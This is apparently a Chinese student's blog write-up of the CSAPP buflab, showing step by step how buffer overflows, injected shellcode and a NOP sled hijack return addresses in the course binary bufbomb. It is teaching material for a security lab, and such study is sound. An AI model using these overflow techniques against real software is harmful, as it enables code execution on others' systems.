CSAPP-buflab

注:全文如下,同时欢迎参观我的个人博客:CSAPP-buflab

buflab

实验目的

​ 详细了解IA-32调用惯例和堆栈结构。它涉及对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击。

实验环境和工具

​ ubuntu 12.04.5 (32位) ;

​ gdb 7.4 ;

实验内容及操作步骤

准备工作

阅读Readme.txt和buflab-writeup.pdf的前几页

按照Readme.txt的要求,任意输入一个字符作为userid。使用makecookie生成cookie。我这里输入的字符为h,得到cookie:0x20083f2f

image-20210531221833088

在linux下解压buflab-handout.tar.gz

Level 0: Candle (10 pts)

void test() 
{
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/* Check for corrupted stack */ 
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
    else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3);
	} 
	else {
		printf("Dud: getbuf returned 0x%x\n", val);
    }
}
目标:

​ 让BUFBOMB在getbuf执行其return语句时执行smoke的代码,而不是返回test

​ 注意:利用漏洞字符串还可能损坏堆栈中与此阶段不直接相关的部分,但这不会导致问题,因为冒烟会导致程序直接退出。

分析:

getbuf()的反汇编代码:

Dump of assembler code for function getbuf:
   0x08049262 <+0>:		push   %ebp
   0x08049263 <+1>:		mov    %esp,%ebp
   0x08049265 <+3>:		sub    $0x38,%esp
   0x08049268 <+6>:		lea    -0x28(%ebp),%eax
   0x0804926b <+9>:		mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  						;恢复旧ebp
   0x08049279 <+23>:	ret    						;返回地址出栈,存储在eip中
End of assembler dump.
  • lea -0x28(%ebp),%eaxmov %eax,(%esp)可知,ebp-0x28的地址为Gets()函数的参数。Gets()将以该地址为起点向地址增大的方向保存字符。getbuf()的部分栈帧示意图如下:

    CSAPP-buflab_第1张图片

  • 因此需要将getbuf()的返回地址覆盖为smoke()第一条语句的地址smoke()的汇编代码如下:

    Dump of assembler code for function smoke:
       0x08048e0a <+0>:		push   %ebp
       0x08048e0b <+1>:		mov    %esp,%ebp
       0x08048e0d <+3>:		sub    $0x18,%esp
       0x08048e10 <+6>:		movl   $0x804a2fe,0x4(%esp)
       0x08048e18 <+14>:	movl   $0x1,(%esp)
       0x08048e1f <+21>:	call   0x8048990 <__printf_chk@plt>
       0x08048e24 <+26>:	movl   $0x0,(%esp)
       0x08048e2b <+33>:	call   0x8049280 
       0x08048e30 <+38>:	movl   $0x0,(%esp)
       0x08048e37 <+45>:	call   0x80488d0 
    End of assembler dump.
    

    首地址为0x08048e0a。由于0x0a'\n',故选用0x08048e0b注入。

    构造的字符串为(40+4)个字符(除了0x0a以外的任意字符),再加上0b 8e 04 08(小端法)。txt文件如下:

    CSAPP-buflab_第2张图片

结果:

image-20210531221856751

Level 1: Sparkler (10 pts)

void fizz(int val) 
{
	if (val == cookie) 
    { 
        printf("Fizz!: You called fizz(0x%x)\n", val); 
        validate(1);
	} else 
        printf("Misfire: You called fizz(0x%x)\n", val); 
    exit(0); 
}
目标:

​ 与Level 0类似,让BUFBOMB执行fizz的代码,而不是返回test。但是,您必须使它看起来像fizz,就好像传递了cookie作为它的参数。

分析:

fizz的反汇编代码:

Dump of assembler code for function fizz:
   0x08048daf <+0>:		push   %ebp					;esp=esp-4
   0x08048db0 <+1>:		mov    %esp,%ebp			;保存esp的值到ebp
   0x08048db2 <+3>:		sub    $0x18,%esp
   0x08048db5 <+6>:		mov    0x8(%ebp),%eax		;参数=M[ebp+8]
   0x08048db8 <+9>:		cmp    0x804d104,%eax
   0x08048dbe <+15>:	jne    0x8048de6 
   0x08048dc0 <+17>:	mov    %eax,0x8(%esp)
   0x08048dc4 <+21>:	movl   $0x804a2e0,0x4(%esp)
   0x08048dcc <+29>:	movl   $0x1,(%esp)
   0x08048dd3 <+36>:	call   0x8048990 <__printf_chk@plt>
   0x08048dd8 <+41>:	movl   $0x1,(%esp)
   0x08048ddf <+48>:	call   0x8049280 
   0x08048de4 <+53>:	jmp    0x8048dfe 
   0x08048de6 <+55>:	mov    %eax,0x8(%esp)
   0x08048dea <+59>:	movl   $0x804a4d4,0x4(%esp)
   0x08048df2 <+67>:	movl   $0x1,(%esp)
   0x08048df9 <+74>:	call   0x8048990 <__printf_chk@plt>
   0x08048dfe <+79>:	movl   $0x0,(%esp)
   0x08048e05 <+86>:	call   0x80488d0 
End of assembler dump.
  • mov 0x8(%ebp),%eax可知,此时ebp+0x8的地址保存的是fizz()的参数。其余类似Level0。更改getbuf()的返回地址为fizz()的入口地址后,进入fizz()前的部分栈帧示意图如下。进入fizz()后,esp的值加4,之后push %ebp,esp的值减4,再由mov %esp,%ebp,我们可以确定fizz()的参数的地址。

    CSAPP-buflab_第3张图片

  • 构造字符串为(40+4)个字符(除了0x0a以外的任意字符),加上af 8d 04 08fizz()的入口地址,小端法),再加上4个字符
    (除了0x0a以外的任意字符),最后加上cookie:2f 3f 08 20(小端法)。txt文件如下:

    CSAPP-buflab_第4张图片

结果:

image-20210601110124902

Level 2: Firecracker (15 pts)

int global_value = 0;
void bang(int val) {
	if (global_value == cookie) { 
        printf("Bang!: You set global_value to 0x%x\n", global_value); 
        validate(2);
	} else 
        printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0); 
}
目标:

​ 与级别0和1类似,让BUFBOMB执行bang的代码,而不是返回test。但在此之前,必须将全局变量global_value设置为用户id的cookie。攻击代码应该设置全局变量,将bang的地址推送到堆栈上,然后执行ret指令以跳转到bang的代码。

分析:

bang的反汇编代码:

Dump of assembler code for function bang:
   0x08048d52 <+0>:		push   %ebp
   0x08048d53 <+1>:		mov    %esp,%ebp
   0x08048d55 <+3>:		sub    $0x18,%esp
   0x08048d58 <+6>:		mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax			;比较地址0x804d10c和0x804d104所存的值
   0x08048d63 <+17>:	jne    0x8048d8b 
   0x08048d65 <+19>:	mov    %eax,0x8(%esp)
   0x08048d69 <+23>:	movl   $0x804a4ac,0x4(%esp)
   0x08048d71 <+31>:	movl   $0x1,(%esp)
   0x08048d78 <+38>:	call   0x8048990 <__printf_chk@plt>
   0x08048d7d <+43>:	movl   $0x2,(%esp)
   0x08048d84 <+50>:	call   0x8049280 
   0x08048d89 <+55>:	jmp    0x8048da3 
   0x08048d8b <+57>:	mov    %eax,0x8(%esp)
   0x08048d8f <+61>:	movl   $0x804a2c2,0x4(%esp)
   0x08048d97 <+69>:	movl   $0x1,(%esp)
   0x08048d9e <+76>:	call   0x8048990 <__printf_chk@plt>
   0x08048da3 <+81>:	movl   $0x0,(%esp)
   0x08048daa <+88>:	call   0x80488d0 
End of assembler dump.
  • 查看地址0x804d10c的值和0x804d104的值,得到它们分别为global_valuecookie的值。

image-20210601164928822

  • getbuf中的ebp位置为0x55683610(如下图),显然无法直接覆盖。

    image-20210601165635051

  • 故可以编写汇编代码,然后把它们转换为字符编码放入堆栈中,以完成需要的操作。汇编代码如下:

    /*bang.s*/
    mov 	0x804d104,%eax	/*将cookie保存到eax*/
    mov 	%eax,0x804d10c	/*将global_value设置为cookie的值*/
    push	$0x08048d52		/*bang的函数入口地址入栈*/
    ret						/*返回,进入bang函数*/
    
  • 通过指令将.s文件编译为.o文件,查看反汇编代码,共16个字节:

    CSAPP-buflab_第5张图片

  • 我们可以把这段代码从buf的起始位置开始存放,而把getbuf的返回地址更改为buf的起始地址,以执行这段代码。经调试getbufbuf的起始地址为:0x556835b8

    image-20210601172034515

  • 更改后的栈帧示意图如下:

    CSAPP-buflab_第6张图片

  • 故注入的字符串为代码的字符编码(共16个字节)+28个字节(除了0x0a以外的任意字符)+b8 35 68 55(buf的起始地址的小端法表示)。txt文件如下:

    CSAPP-buflab_第7张图片

结果:

image-20210601173259876

Level 3: Dynamite (20 pts)

test的c代码如下:

void test() 
{
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/* Check for corrupted stack */ 
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
    else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3);
	} 
	else {
		printf("Dud: getbuf returned 0x%x\n", val);
    }
}

test的汇编代码如下:

Dump of assembler code for function test:
   0x08048e3c <+0>:		push   %ebp
   0x08048e3d <+1>:		mov    %esp,%ebp
   0x08048e3f <+3>:		push   %ebx
   0x08048e40 <+4>:		sub    $0x24,%esp
   0x08048e43 <+7>:		call   0x8048c18 
   0x08048e48 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048e4b <+15>:	call   0x8049262 
   0x08048e50 <+20>:	mov    %eax,%ebx
   0x08048e52 <+22>:	call   0x8048c18 
   0x08048e57 <+27>:	mov    -0xc(%ebp),%edx
   0x08048e5a <+30>:	cmp    %edx,%eax
   0x08048e5c <+32>:	je     0x8048e74 
   0x08048e5e <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048e66 <+42>:	movl   $0x1,(%esp)
   0x08048e6d <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048e72 <+54>:	jmp    0x8048eba 
   0x08048e74 <+56>:	cmp    0x804d104,%ebx
   0x08048e7a <+62>:	jne    0x8048ea2 
   0x08048e7c <+64>:	mov    %ebx,0x8(%esp)
   0x08048e80 <+68>:	movl   $0x804a31a,0x4(%esp)
   0x08048e88 <+76>:	movl   $0x1,(%esp)
   0x08048e8f <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048e94 <+88>:	movl   $0x3,(%esp)
   0x08048e9b <+95>:	call   0x8049280 
   0x08048ea0 <+100>:	jmp    0x8048eba 
   0x08048ea2 <+102>:	mov    %ebx,0x8(%esp)
   0x08048ea6 <+106>:	movl   $0x804a337,0x4(%esp)
   0x08048eae <+114>:	movl   $0x1,(%esp)
   0x08048eb5 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048eba <+126>:	add    $0x24,%esp
   0x08048ebd <+129>:	pop    %ebx
   0x08048ebe <+130>:	pop    %ebp
   0x08048ebf <+131>:	ret    
End of assembler dump.
目标:

​ 提供一个漏洞字符串,该字符串将导致getbufcookie返回到test,而不是值1。可以在test的代码中看到,这将导致程序运行“Boom!”。

​ 漏洞字符串将cookie设置为返回值的同时,应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret指令以真正返回test

分析:
  • getbuf的返回值保存在eax中,故注入的字符串应执行操作将getbuf中eax的值设为cookie的值。同时返回到testcall 0x8049262 之后的位置,同时注入buf时应让保存的旧ebp保持原值不变。

  • 编写汇编代码如下:

    mov		$0x20083f2f,%eax	/*将cookie的值保存在eax中*/
    push	$0x08048e50			/*test的call 之后的地址入栈*/
    ret							/*返回*/
    
  • 输入指令,反汇编得机器码如下,共11个字节:

    image-20210601193213300

    CSAPP-buflab_第8张图片

  • 我们可以把这段代码从buf的起始位置开始存放,而把getbuf的返回地址更改为buf的起始地址,以执行这段代码。与Level 2一样,buf的起始地址为:0x556835b8

  • 同时旧ebp应保持原值不变,调试查看得getbuf保存的ebp的值为0x55683610

image-20210602084151289

  • 故更改后的getbuf的部分栈帧如下:

    CSAPP-buflab_第9张图片

  • 故注入的字符串为代码的字符编码(共11个字节)+29个字节(除了0x0a以外的任意字符)+10 36 68 55(原ebp的值,小端法表示)+b8 35 68 55(buf的起始地址的小端法表示)。txt文件如下:

    CSAPP-buflab_第10张图片

结果:

image-20210601201603573

Level 4: Nitroglycerin (10 pts)

testn的汇编代码如下

Dump of assembler code for function testn:
   0x08048cce <+0>:		push   %ebp
   0x08048ccf <+1>:		mov    %esp,%ebp
   0x08048cd1 <+3>:		push   %ebx
   0x08048cd2 <+4>:		sub    $0x24,%esp
   0x08048cd5 <+7>:		call   0x8048c18 
   0x08048cda <+12>:	mov    %eax,-0xc(%ebp)
   0x08048cdd <+15>:	call   0x8049244 
   0x08048ce2 <+20>:	mov    %eax,%ebx
   0x08048ce4 <+22>:	call   0x8048c18 
   0x08048ce9 <+27>:	mov    -0xc(%ebp),%edx
   0x08048cec <+30>:	cmp    %edx,%eax
   0x08048cee <+32>:	je     0x8048d06 
   0x08048cf0 <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048cf8 <+42>:	movl   $0x1,(%esp)
   0x08048cff <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048d04 <+54>:	jmp    0x8048d4c 
   0x08048d06 <+56>:	cmp    0x804d104,%ebx
   0x08048d0c <+62>:	jne    0x8048d34 
   0x08048d0e <+64>:	mov    %ebx,0x8(%esp)
   0x08048d12 <+68>:	movl   $0x804a48c,0x4(%esp)
   0x08048d1a <+76>:	movl   $0x1,(%esp)
   0x08048d21 <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048d26 <+88>:	movl   $0x4,(%esp)
   0x08048d2d <+95>:	call   0x8049280 
   0x08048d32 <+100>:	jmp    0x8048d4c 
   0x08048d34 <+102>:	mov    %ebx,0x8(%esp)
   0x08048d38 <+106>:	movl   $0x804a2a6,0x4(%esp)
   0x08048d40 <+114>:	movl   $0x1,(%esp)
   0x08048d47 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048d4c <+126>:	add    $0x24,%esp
   0x08048d4f <+129>:	pop    %ebx
   0x08048d50 <+130>:	pop    %ebp
   0x08048d51 <+131>:	ret    
End of assembler dump.
目标:

​ 在Nitro模式下运行时,BUFBOMB要求提供字符串5次,它将执行getbufn 5次,每次都有不同的堆栈偏移量。

​ 与Level3相同,Level4要求提供一个漏洞字符串,该字符串将导致getbufncookie返回到testn,而不是值1。可以在testn的代码中看到,这将导致程序进入“KABOOM!”。攻击代码需要将cookie设置为返回值,同时应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret指令以真正返回testn

分析:

getbufn的汇编代码如下:

Dump of assembler code for function getbufn:
   0x08049244 <+0>:		push   %ebp
   0x08049245 <+1>:		mov    %esp,%ebp
   0x08049247 <+3>:		sub    $0x218,%esp
   0x0804924d <+9>:		lea    -0x208(%ebp),%eax		
   0x08049253 <+15>:	mov    %eax,(%esp)
   0x08049256 <+18>:	call   0x8048c32 
   0x0804925b <+23>:	mov    $0x1,%eax
   0x08049260 <+28>:	leave  
   0x08049261 <+29>:	ret    
End of assembler dump.
  • ebp-0x208的地址为Gets()函数的参数。Gets()将以该地址为起点向地址增大的方向保存字符。

  • 通过调试,观察每次执行testn时的ebp,以及对应的getbufnebp的变化。

    CSAPP-buflab_第11张图片CSAPP-buflab_第12张图片CSAPP-buflab_第13张图片CSAPP-buflab_第14张图片

    CSAPP-buflab_第15张图片

  • 观察到testnebp是变化的,最大值为0x55683680,最小值为0x556835a0,差值为0xE0(224)。getbufnebp同样是变化的,最大值为0x55683650,最小值为0x55683570。对应的buf起始地址最大值为0x55683448,最小值为0x55683368。由于我们注入的返回地址是固定的,故我们注入的返回地址须不小于0x55683468,否则可能出现buf覆盖的地址都大于设定的返回地址,从返回地址向高地址执行命令时执行了未知命令的情况。

  • 类似于Level3,我们从更改后的返回地址开始执行指令。由于设定的返回地址不小于0x55683448,当buf的起始地址小于设定的返回地址时,就需要想办法使注入的攻击代码出现在返回地址的高处。我们就设定返回地址为0x55683448,则buf起始地址的最小值相差了224个字节,这就需要至少填充224个字节的nop指令(nop指令只使程序计数器加1),从而在任何情况下都能使CPU将指令至少执行到注入的攻击代码(若填充00,则CPU无法识别,无法进行后续操作)。

  • testnebp是不断的变化的,无法像Level3一样在内存中注入固定的值恢复保存的ebp。但我们可以找到getbufnebptestnebp的关系,即前者比后者小了0x30。我们的攻击代码是在getbufnleaveret指令之后执行的。在这两次指令后,esp的值变为getbufnebp+0x8,而本身的ebp变为保存的ebp的值(但被buf溢出覆盖)。故此时,我们可以根据这个关系:testnebp=esp+0x28编写注入的代码。

  • 注入的代码如下:

    mov		$0x20083f2f,%eax	/*将cookie的值保存在eax中*/
    lea		0x28(%esp),%ebp		/*恢复保存的ebp的值*/
    push	$0x08048ce2			/*testn的call 之后的地址入栈*/
    ret							/*返回*/
    
  • 输入指令,反汇编得机器码如下,共15个字节:

image-20210602090320808

  • 可以得到栈帧的示意图:

    CSAPP-buflab_第16张图片

  • getbufn的ebp-0x208为buf的起始地址,0x208为520。故注入的字符串为509个nop(0x90)+15个字节的攻击代码+48 34 68 55(修改的返回地址,小端法表示)。txt文件如下:

CSAPP-buflab_第17张图片

结果:

CSAPP-buflab_第18张图片

实验总结

  1. 这次实验的难度随级别的提高而增加,引导我们如何利用缓冲区存在的漏洞实现一些目的:

    Level0:利用直接覆盖返回地址,在调用函数getbuf时直接返回smoke函数,让我们初步认识缓冲区溢出攻击的原理。

    Level1:在Level0的基础上,多了修改函数参数的操作,这需要我们结合汇编代码找到参数的位置。

    Level2:开始需要我们自己编写汇编代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。

    Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。

    Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。

    通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配、nop_sled的使用等相关知识有了更加深刻的理解。

  2. 在实验的部分地方需要对运行过程进行调试,查看某个寄存器的值及其变化。所以gdb工具的使用是不可或缺的。通过完成这次实验,我对gdb工具的使用更加熟练。

  3. 进行实验,细心和耐心也是很重要的品质。有时候会因为不够细心而耽误时间,如Level4中我因为看错了ebp的值,使得第一次尝试没有通过,但好在能够通过调试发现错误之处,并加以改正。有了细心和耐心的加持,才能更好地完成一个个实验,收获知识,提升技能。

代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。

Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。

Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。

通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配、nop_sled的使用等相关知识有了更加深刻的理解。

  1. 在实验的部分地方需要对运行过程进行调试,查看某个寄存器的值及其变化。所以gdb工具的使用是不可或缺的。通过完成这次实验,我对gdb工具的使用更加熟练。

  2. 进行实验,细心和耐心也是很重要的品质。有时候会因为不够细心而耽误时间,如Level4中我因为看错了ebp的值,使得第一次尝试没有通过,但好在能够通过调试发现错误之处,并加以改正。有了细心和耐心的加持,才能更好地完成一个个实验,收获知识,提升技能。

你可能感兴趣的:(深入理解计算机系统,安全,linux)